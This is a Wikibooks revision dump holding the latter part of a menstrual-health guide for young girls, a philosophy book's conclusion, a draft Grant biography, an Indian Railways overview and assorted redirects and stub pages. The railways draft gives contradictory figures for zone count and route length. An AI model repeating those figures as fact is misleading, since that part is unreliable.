adult. You might say:<blockquote>“I think I have started my period. Could you please help me?”</blockquote>There is no need to feel embarrassed. Menstruation is a normal bodily function. === Your first period may not be predictable === At first, your periods may not follow a regular schedule. Write down the date when bleeding begins. Over time, tracking your periods can help you understand your own pattern. A simple calendar is enough. ---- = Chapter 4: Taking Care of Yourself During Your Period = Menstrual hygiene is about keeping yourself comfortable, clean, and healthy. There are different menstrual products, and different people prefer different options. === Sanitary pads === Pads are worn inside underwear and absorb menstrual blood. They come in different sizes and absorbencies. Choose a product that fits comfortably and provides enough protection for your flow. Change your pad regularly, and change it sooner if it becomes wet, uncomfortable, or full. === Tampons and menstrual cups === Tampons and menstrual cups are inserted into the vagina. They can be safe when used correctly, according to the product instructions. However, younger girls may prefer pads, especially when they are first learning about menstruation. There is no requirement to use one particular product. === Reusable menstrual products === Reusable cloth pads and other reusable products can be useful where appropriate. They need to be washed properly and dried thoroughly before being used again. Cleanliness is important. === Washing during your period === You can bathe or shower during your period. In fact, regular washing can help you feel fresh and comfortable. Wash the outside of your genital area gently with clean water. Avoid putting soap, perfume, or other products inside the vagina. The vagina naturally cleans itself. === Changing underwear === Change underwear regularly, particularly if it becomes wet or stained. Cotton or other breathable materials may feel comfortable. === Disposing of used products === Used disposable pads and tampons should be wrapped and placed in an appropriate waste bin. They should generally '''not be flushed down the toilet''', because they can block plumbing. Where sanitation systems or waste-disposal arrangements are different, follow local guidance. === Menstrual hygiene is about dignity === Every girl deserves access to safe menstrual products, clean water, private toilets, and accurate information. No girl should be made to feel ashamed because she has a period. ---- = Chapter 5: Period Pain, Tiredness, and Other Symptoms = Periods can feel different from person to person. Some girls experience almost no discomfort. Others may experience: * cramps, * lower-back pain, * headaches, * tiredness, * bloating, * breast tenderness, * changes in appetite, * nausea, or * mood changes. === Why do cramps happen? === The uterus contracts during menstruation. These contractions help the uterus release its lining. Some girls feel these contractions as cramps. === Simple ways to feel more comfortable === You might find relief from: * resting, * gentle exercise, * stretching, * a warm bath, * a warm compress or hot-water bottle wrapped safely, * drinking enough water, and * getting enough sleep. Some people also use pain-relieving medicine. If you are considering medicine, follow the instructions on the package and ask a parent, guardian, pharmacist, or healthcare professional if you are unsure whether it is appropriate for you. === You do not have to suffer silently === There is a difference between ordinary period discomfort and pain that is severe or interferes significantly with everyday life. If your period pain regularly prevents you from going to school, sleeping, eating, or doing normal activities, tell a trusted adult and seek medical advice. Pain deserves to be taken seriously. === Heavy bleeding === Periods can sometimes be heavier than expected. Tell a trusted adult and seek medical advice if you are frequently soaking through pads very quickly, bleeding for an unusually long time, feeling faint or extremely weak, or otherwise worried about the amount of blood you are losing. You deserve help. ---- = Chapter 6: Food, Water, Sleep, and Exercise = Taking care of your body is important every day, not only during your period. === Eat nourishing foods === Your body needs energy and nutrients while it grows. Try to eat a variety of foods, including: * vegetables, * fruits, * whole grains, * beans and other legumes, * eggs, * fish or other protein foods, * meat where available, * milk or other calcium-rich foods, * nuts and seeds. Iron is especially important because menstruating girls lose some iron through menstrual blood. Iron-rich foods include: * beans, * lentils, * dark green leafy vegetables, * meat, * fish, * eggs, * and iron-fortified foods. Eating vitamin-C-rich foods alongside plant sources of iron can help the body absorb iron. === Drink water === Water helps your body function properly. You may notice that drinking enough water helps you feel better, particularly when you are tired or active. Carry a clean water bottle when practical. === Sleep matters === Growing bodies need sleep. Try to establish a regular bedtime and give yourself enough time to rest. A good night's sleep can support concentration, mood, learning, and physical wellbeing. === Exercise is not forbidden during your period === You can exercise while menstruating if you feel comfortable. You might enjoy: * walking, * stretching, * dancing, * swimming, * cycling, * playing games, * or participating in sports. If you are experiencing significant pain or feel unwell, it is okay to rest. Listening to your body is important. ---- = Chapter 7: Feelings, Confidence, and Emotional Wellbeing = Growing up involves more than physical changes. Your feelings can change too. You might sometimes feel: * happy, * confident, * embarrassed, * nervous, * irritated, * sad, * excited, * or confused. Hormonal changes can influence mood, but emotions also come from school, friendships, family relationships, stress, and many other parts of life. === You are not “being dramatic” === Sometimes people dismiss girls' feelings, especially around menstruation. Your feelings are real. That does not mean every feeling must control what you do, but it does mean that you deserve to be heard. === Talk to someone === If something is worrying you, speak to someone you trust. You might say:<blockquote>“I have been feeling different lately, and I want to talk about it.”</blockquote>You do not have to explain everything perfectly. Sometimes simply starting the conversation is enough. === Protect your self-confidence === Your body will change. Your weight may change. Your shape may change. Your skin may change. None of these changes determine your worth. Try not to compare your body with photographs on social media or with other girls. People develop differently. === Be kind to yourself === Imagine that your best friend was worried because her body was changing. You probably would not tell her that she was ugly, strange, or failing. You would probably encourage her. Give yourself the same kindness. ---- = Chapter 8: Period Myths, Facts, and Questions = For generations, people have created stories and beliefs about menstruation. Some are harmless misunderstandings. Others can cause fear, shame, or discrimination. Let's look at a few common questions. === Myth: Period blood is dirty === '''Fact:''' Menstrual blood is a normal mixture of blood and tissue from the uterus. Having a period does not make someone dirty. === Myth: You cannot bathe during your period === '''Fact:''' You can bathe or shower during menstruation. Good hygiene can help you feel comfortable and fresh. === Myth: Girls should stop exercising during their periods === '''Fact:''' Physical activity is generally safe during menstruation. Some girls even find that gentle exercise helps them feel better. === Myth: Every girl has a 28-day cycle === '''Fact:''' Menstrual cycles vary. A 28-day cycle is an average example, not a rule that every body must follow. === Myth: Talking about periods is shameful === '''Fact:''' Menstruation is a normal health topic. Being able to discuss it openly can help girls get accurate information and appropriate care. === Myth: You should hide your period from everyone === '''Fact:''' Privacy is your choice, but secrecy should never prevent you from getting help. If you need a pad, pain relief, medical advice, or emotional support, it is okay to ask. === Questions are good === Never be afraid to ask questions about your body. A question does not make you silly. It means you are learning. ---- = Chapter 9: School, Family, Friends, and Talking About Periods = A period should not prevent a girl from participating fully in education and community life. Yet menstruation can sometimes make school difficult, especially when girls lack menstrual products, private toilets, clean water, or supportive adults. === Keep an emergency plan === Before leaving home, check that you have the supplies you need. If you think your period might arrive while you are at school, carry a pad in your bag. You can also talk with a trusted teacher about where you can get help if necessary. === What if a friend starts her period? === Be kind. If she looks worried, you can quietly ask:<blockquote>“Are you okay?”</blockquote>You might offer her a pad if you have one. There is no need to laugh or make jokes at her expense. === Supporting one another === Girls can make menstruation easier for one another by sharing information and treating each other respectfully. But remember: you should never be pressured into giving away something you need for yourself. === Talking with parents or guardians === Some families find conversations about menstruation uncomfortable. If you are nervous, start with a simple question. For example:<blockquote>“Can we talk about periods? I have some questions.”</blockquote>You can also ask a healthcare professional, teacher, school nurse, or another trusted adult. === Boys should learn too === Menstrual health is not only a girls' topic. Boys and men can learn about menstruation so they understand what girls experience and can treat them respectfully. Understanding creates empathy. Ridicule creates shame. Everyone can choose respect. ---- = Chapter 10: Knowing When to Ask for Help = Learning about menstruation does not mean you have to solve every problem yourself. Sometimes your body needs professional attention. Speak with a trusted adult and seek medical advice if you experience problems such as: * very severe or worsening period pain, * bleeding that seems unusually heavy, * periods that regularly interfere with normal activities, * fainting or severe weakness, * symptoms that concern you, * or a major change in your usual menstrual pattern. If you have started menstruating and are worried because your periods are very irregular, a healthcare professional can help you understand what may be happening. === Your body belongs to you === There is another important part of wellbeing that has nothing to do with periods themselves: '''personal safety'''. You have the right to privacy and to have your body treated with respect. If anyone touches you in a way that makes you uncomfortable, pressures you to keep an unsafe secret, or asks you to do something involving your body that you do not want to do, tell a trusted adult. If the first person does not listen, tell another trusted adult. Keep telling safe people until someone helps you. === You deserve accurate information === There is a lot of information about menstruation on the internet. Some of it is useful. Some of it is incorrect. When you have questions about your health, look for trustworthy sources such as healthcare professionals, established health organizations, school health services, and reliable educational materials. === A final message to every young girl === Your period is one part of your growing body—not the definition of who you are. You are a student. A daughter. A sister. A friend. A dreamer. A learner. A future professional, leader, artist, athlete, scientist, teacher, farmer, entrepreneur, parent—or whatever you choose to become. Menstruation is simply one of the natural things your body may experience as you grow. So learn about it. Prepare for it. Take care of yourself. Ask questions. Ask for help when you need it. And never let embarrassment stop you from caring for your health. '''Your body deserves knowledge.''' '''Your health deserves care.''' '''Your questions deserve answers.''' '''And you deserve respect.''' ---- = A Young Girl's Period Checklist = Before your period: ☐ Keep menstrual products available. ☐ Carry an emergency pad when appropriate. ☐ Keep spare underwear if possible. ☐ Know whom you can ask for help at school or home. ☐ Track your menstrual cycle if you find it useful. During your period: ☐ Change menstrual products regularly. ☐ Wash regularly and keep the genital area clean. ☐ Drink enough water. ☐ Eat nourishing foods. ☐ Rest when you need to. ☐ Stay active if you feel comfortable. ☐ Ask for help if symptoms are severe or worrying. Always remember: ☐ My period is normal. ☐ I am not dirty because I menstruate. ☐ My body does not have to look like anyone else's. ☐ I can ask questions. ☐ I can talk to a trusted adult. ☐ I deserve dignity and respect. j0aqrsye94fxdcbz4zvucj7kzmijp2g 2 485700 4670699 2026-09-17T16:55:47Z Sisterian 3123918 Sisterian moved page [[User:Pamela Talemwa/sandbox/A Young Reader's Guide to a Clean and Healthy Community]] to [[User:Pamela Talemwa/sandbox/A Young Reader's Guide to a Healthy Environment]]: editing 4670699 wikitext text/x-wiki #REDIRECT [[User:Pamela Talemwa/sandbox/A Young Reader's Guide to a Healthy Environment]] o0yc3jqh65jkavec3b56r7xziw56stz 0 485701 4670796 2026-09-18T01:47:38Z DavidCota64 3507033 Create the pedagogical conclusion: results, limits, return routes, and open questions 4670796 wikitext text/x-wiki == What the traversal changes == The book began with a difficulty: materialism must account for genuine novelty without importing an immaterial cause and without reducing every later capacity to the vocabulary of an earlier configuration. The route through dualism, instability, emergence, symbolic operation, vulnerability, and tradition has altered the terms of that difficulty. One material field is sufficient, provided matter is not treated as passive substance. Local organisations persist by exchanging, constraining, and reorganising relations. At certain thresholds they acquire capacities that were unavailable in the preceding configuration. Dependence remains; identity does not. A living system depends on chemistry without metabolism becoming a synonym for chemical composition. Symbolic activity depends on bodies and supports without meaning becoming an immaterial object. Ethical responsibility depends on symbolic responsiveness without descending from a transcendent law. == One field, many thresholds == The unity of the field concerns ontological substrate. It does not distribute every capacity everywhere. Stars, cells, nervous systems, measuring apparatuses, human communities, and institutions are material configurations, but they do not operate in the same way. Their differences must be explained through organisation, scale, history, constraint, and relation. Thresholds make those differences intelligible without converting them into separate worlds. A threshold has been crossed when a configuration supports a new range of operations. The claim is empirical as well as conceptual: a concrete case requires evidence that the relevant capacities are present. Calling a phenomenon emergent cannot replace that work. Instability remains throughout. It is not a defect that order corrects. Stable configurations are local achievements sustained under changing conditions. They endure by reorganising; when the supporting relations no longer hold, they alter or dissolve. No local success turns into a universal plan. == Three results to retain and test == === Novelty is conditioned without being pre-written === Antecedent conditions constrain what may occur. They need not contain the completed form of what emerges. This difference prevents a retrospective illusion in which a result is projected back into its origin and treated as though it had always been destined to appear. Operative excess names the pressure that arises when the operations available in a field exceed what the present organisation can integrate. Emergence responds to that excess through reorganisation. Failure may be experienced when an inherited form proves insufficient, but it is an effect of the excess rather than its cause. === Symbols are material without being mere marks === A physical pattern is not automatically a symbol. Symbolic operation requires an organised system capable of discrimination, singular inscription, recognition, and relations between symbols. In the inaugural inscription, mark and symbol are co-constituted. The mark remains a material configuration; it is not an agent and does not relate to other marks. Relations are established by the system between symbols. This account preserves representation while keeping it immanent. The symbol represents its material mark within an organised practice; it does not bridge two ontologically separate domains. Instruments and artificial systems may inscribe differences without that fact alone proving consciousness or intention. === Vulnerability becomes ethical through responsive organisation === Every organised configuration is exposed because it depends on relations it cannot completely control. Exposure is uneven. Some configurations possess protection, voice, resources, and means of repair that others lack. Ethical questions arise where symbolically responsive systems can recognise and alter that distribution. The relevant test is not whether a rule descends from a foundation. It is whether a reorganisation preserves capacities for response, reduces destructive asymmetries, keeps contestation and repair possible, and protects heterogeneity from forced assimilation. Politics extends the same problem beyond the sovereign subject. Infrastructures, classifications, technical platforms, administrative routines, and institutions distribute visibility and risk. Responsibility must therefore follow operations and effects, not only declared intentions. == What has not been closed == The framework has not supplied a final theory of matter, life, mind, or society. It has not proved that every case can be organised by its present lexicon. Nor has it established a shortcut from general ontology to empirical verdicts about consciousness, artificial intelligence, political legitimacy, or scientific interpretation. Several questions remain open by necessity: * Which material organisations are sufficient for symbolic inscription? * What evidence warrants assigning <math>C = 1</math> rather than suspending judgement with <math>C = U</math>? * How should operative excess be identified without turning every change into an instance of the same concept? * Which forms of order amplify relational complexity, and which preserve themselves by suppressing it? * How can institutions remain revisable while still offering durable protection? These are not gaps to be hidden. They mark the points at which a vocabulary must encounter phenomena capable of resisting it. == Routes back through the book == Readers testing a concrete case can use the following route: # Return to [[/6.1 – Key Terms of the OEC/|6.1]] for the minimal criteria of the central operators. # Consult [[/6.2 – Ontological Variations/|6.2]] to distinguish physical, biological, symbolic, and ethical-political regimes. # Use [[/6.3 – How to Read the Lexicon/|6.3]] to prevent terms from becoming fixed essences. # Revisit [[/3.2 Emergence Without Origin/|3.2]] when the case involves novelty, origin, or latent potential. # Revisit [[/4.1 Vulnerability Without Center/|Part IV]] when a reorganisation distributes exposure, protection, voice, or repair. # Consult [[/7.1 – Philosophical Interlocutors/|Part VII]] to compare the framework with the traditions it retains and displaces. The reader should now be able to ask more exact questions than at the beginning. That is the relevant transformation. A philosophical vocabulary earns its place by making differences available for inquiry while remaining answerable to the differences it cannot yet organise. There is no ground beneath the work. It holds only while it remains open to what exceeds it. {{BookCat}} 2wscgizrr9uhe3s6qgigol163mx5u8m 2 485702 4670844 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User:SHB2000/common.js]] to [[User:SHB/common.js]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4670844 javascript text/javascript /* #REDIRECT */mw.loader.load("//en.wikibooks.org/w/index.php?title=User:SHB/common.js&action=raw&ctype=text/javascript"); 42g0p9qzbwyw04wpzomnxhmhlaauckf 2 485703 4670846 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User:SHB2000/Editnotice]] to [[User:SHB/Editnotice]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4670846 wikitext text/x-wiki #REDIRECT [[User:SHB/Editnotice]] t8en8vcumldddawd8n24ibdu4fys17i 3 485704 4670848 2026-09-18T02:28:58Z Max 3430028 Max moved page [[User talk:SHB2000/Archive 1]] to [[User talk:SHB/Archive 1]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4670848 wikitext text/x-wiki #REDIRECT [[User talk:SHB/Archive 1]] gpv87g2mybvvtn7ed5aolj4ebi07kx7 3 485705 4670850 2026-09-18T02:28:59Z Max 3430028 Max moved page [[User talk:SHB2000]] to [[User talk:SHB]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4670850 wikitext text/x-wiki #REDIRECT [[User talk:SHB]] dgionzejbwpmne0gol3e840676zou8k 3 485706 4670852 2026-09-18T02:35:02Z Max 3430028 Max moved page [[User talk:SHB2000/Archive 2]] to [[User talk:SHB/Archive 2]]: Automatically moved page while renaming the user "[[Special:CentralAuth/SHB2000|SHB2000]]" to "[[Special:CentralAuth/SHB|SHB]]" 4670852 wikitext text/x-wiki #REDIRECT [[User talk:SHB/Archive 2]] 1o6jlqtmmjo0nigc0gf0lfadl60m2zf 110 485708 4670859 2026-09-18T04:06:09Z Lexalor3 3625755 I created the page and began working on it. 4670859 wikitext text/x-wiki [[File:Ulysses S. Grant 1870-1880.jpg|alt=A black and white photograph of U.S. President Ulysses S. Grant, a man in a suit with a bow tie. He is a larger bodied man, balding, and has a greying beard.|thumb|A photograph of Ulysses S. Grant from between 1870 and 1880. This photo was taken by Matthew Brady.]] {| class="wikitable" !Word !Meaning |- |Abolitionist |Someone who believed in getting rid of slavery. |- | | |- | | |- | | |} '''Ulysses S. Grant''' was the eighteenth President of The United States. He was born on April 27, 1822 in Point Pleasant, Ohio. He was born Hiram Ulysses Grant. His parents were both '''abolitionists''.''''' Growing up, Grant had attended many schools, private and public, he was also an avid reader. pr93tf31tf2zgp1u0g3mq1ilt6igjhp 4670860 4670859 2026-09-18T04:18:48Z Lexalor3 3625755 Added a few more paragraphs. 4670860 wikitext text/x-wiki [[File:Ulysses S. Grant 1870-1880.jpg|alt=A black and white photograph of U.S. President Ulysses S. Grant, a man in a suit with a bow tie. He is a larger bodied man, balding, and has a greying beard.|thumb|A photograph of Ulysses S. Grant from between 1870 and 1880. This photo was taken by Matthew Brady.]] {| class="wikitable" !Word !Meaning |- |Abolitionist |Someone who believed in getting rid of slavery. |- | | |- | | |- | | |} '''Ulysses S. Grant''' was the eighteenth President of The United States. He also served as the Commanding General of the Union Army in the United States Civil War. He was born on April 27, 1822 in Point Pleasant, Ohio. He was born '''Hiram Ulysses Grant'''. His parents were both '''abolitionists''.''''' Growing up, Grant had attended many schools, private and public, he was also an avid reader. His family moved to Georgetown, Ohio in 1823. It was in Georgetown where five of Ulysses' siblings were born. Ulysses grew up on a farm, and with it came a lot of manual labor. One of the things he loved most while working on the farm was working with the horses. He gained a lot of knowledge about working with horses and even became in charge of the ones on his family's farm. He grew up in a devout Methodist family, but Ulysses was not expected to go to church with his family and often was private about his religious attachments. When he was seventeen, Ulysses was nominated for a position at the United States Military Academy by Congressman Thomas L. Hamer, who was asked to nominate Ulysses by Grant's father. Mistakenly, Hamer had put Ulysses' name in as Ulysses S. Grant, this led to him taking S. as a middle initial. r3lj9w5iodwnmfaakomopgoo2uzb2tm 1 485709 4670868 2026-09-18T07:05:41Z ~2026-50643-82 3626228 /* eyurw */ new section 4670868 wikitext text/x-wiki == eyurw == ssyd'''wrfff<code>rfghjhjjkjk^rugu_yfvhj</code>''' [[Special:Contributions/~2026-50643-82|~2026-50643-82]] ([[User talk:~2026-50643-82|talk]]) 07:05, 18 September 2026 (UTC) oqkij6t1oqcc3r04xocmj4pi4292i3z 4670869 4670868 2026-09-18T07:05:52Z NDG 3510220 Requesting deletion 4670869 wikitext text/x-wiki {{delete|Nonsense}}== eyurw == ssyd'''wrfff<code>rfghjhjjkjk^rugu_yfvhj</code>''' [[Special:Contributions/~2026-50643-82|~2026-50643-82]] ([[User talk:~2026-50643-82|talk]]) 07:05, 18 September 2026 (UTC) 50q0g1rvnkz6pafp3d93zk7lsnp4k8i 0 485710 4670875 2026-09-18T07:42:41Z ActStuffOGWiki 3624203 I made it 4670875 wikitext text/x-wiki == Overview == [[File:Indian railways 18 star logo.jpg|thumb|'''''Credit: Mainaksinghabarma.''''' The Indian Railways 18-star logo. ]] '''Indian Railways''' is the state-owned railway company of India. It owns and operates the country's rail transport system. Railways were first introduced to India in 1853. The first passenger train ran on 16th April 1853 between Boribunder and Thane. Since then, Indian Railways has been growing continuously. After independence in 1947, India inherited a weak rail network. About 40 per cent of the railway lines were in the newly created Pakistan. Many lines had to be rerouted through Indian territory. New lines had to be constructed to connect important cities such as Jammu. At the time of independence, there were 42 separate railway systems. This included 32 lines owned by the former Indian princely states. These systems spanned a total of 55,000 km. In 1951, these systems were nationalized as one unit called Indian Railways. In 1952, it was decided to replace the existing rail networks by zones. A total of six zones came into being in 1952. On 6 September 2003, six further zones were made from existing zones for administration purpose. One more zone was added in 2006. The Indian Railways now has 17 zonal Railways. Indian Railways is also one of the world's largest rail networks. It has 64,015 route kilometers of route lengths. As on 31st March 2009, the route length of Indian Railways covered 64,015 kms with running track length of 86,937 kms. The total trackage including yards and sidings stood at 113,115 kms. Indian Railways is the fourth-largest network in the world. It spans over 1.2 lakh km across the country. Administratively, the Indian Railways have been divided into sixteen zones. Each zone is headed by a General Manager. These zones are further sub-divided into divisions. Each division is headed by a Divisional Railway Manager. == Locomotives == [[File:Pratham - India's First WDP-4D Locomotive.jpg|thumb|270x270px|'''Credit: Kishlay RF.''' This locomotive is named 'Pratham'. It is India's first WDP-4D locomotive. ]] Indian Railways primarily operate a fleet of electric and diesel locomotives. Steam locomotives are operated on mountain railways and on heritage trains. As of February 2026, Indian Railways had 13,569 electric and 4,169 diesel locomotives. Indian Railways uses three prime classes of locomotives. These are Electric, Diesel and Steam locomotives. They are built at CLW (Chittaranjan), DLW/DMW (Varanasi/Patiala) and preserved at heritage sheds. Post-2020, the national transporter has switched to 100 per cent electric traction on broad gauge routes as part of Mission Net-Zero. The locomotives have a naming system. Most of the diesel locomotives operating on broad gauge are 'WDM-2' series. Here 'W' stands for Broad Gauge, 'D' stands for Diesel, and 'M' stands for 'Mixed' service. The naming system includes codes like WDM for Wide diesel mixed, WDP for Wide diesel passenger, WDG for Wide diesel goods, and WDS for Wide diesel shunter. Starting in 2002, for diesel passenger, goods, and mixed locomotives, the series digit identifies the horsepower range of the locomotive. The digit '3' is for locomotives with over 3000hp but less than 4000hp. The digit '5' is for locomotives over 5000hp but less than 6000hp. == Passenger Trains == [[File:WDP-4 passing through Kodigehalli Halt in 2019 with Pink Flowers.jpg|thumb|331x331px|'''''Credit: ActStuffOGWiki.''''' An ICF Utkrisht passenger rake. (Belagavi - Mysuru - Bagalkot)]] Indian Railways runs many types of passenger trains. These include local trains, express trains, and premium trains. The locomotives and coaches determine the type of service. Electric locomotives are used for most passenger services now. The WAP series locomotives are mainly used for passenger trains. The WAP-4, WAP-5, and WAP-7 are common passenger locomotives. The WAP-4 has 5,000 bhp and was in production from 1994 to 2015. The railway network connects all parts of India. It carries millions of passengers every day. It also transports goods across the country. The system has grown from the first train in 1853 to a vast network today. The first section from Hathras Road to Mathura Cantonment was opened to traffic on 19th October 1875. By 1880 the Indian Railway system had a route mileage of about 9000 miles. [[Category:Indian Railways]] [[Category:Indian recipes]] 46cb58728awk4lifhdbqehbpvhg8jy9 2 485712 4670885 2026-09-18T09:05:38Z ActStuffOGWiki 3624203 I made it 4670885 wikitext text/x-wiki == Introducing Myself == Hello, I'm '''ActStuffOGWiki''', or simply ActStuff. I like editing [[Wikibooks]] pages and like having fun in my daily routine. I live in India. I like [[Indian Railways/Overview|Indian Railways]]. q4pv711zgezfjwc40v4q4dr60yr1n77 102 485713 4670886 2026-09-18T09:23:03Z Bsuxsibdnwhi 3626233 Created page with "{{Under construction}}" 4670886 wikitext text/x-wiki {{Under construction}} 7u2co59lmn1nqbw9ry6csf3qnrflzpn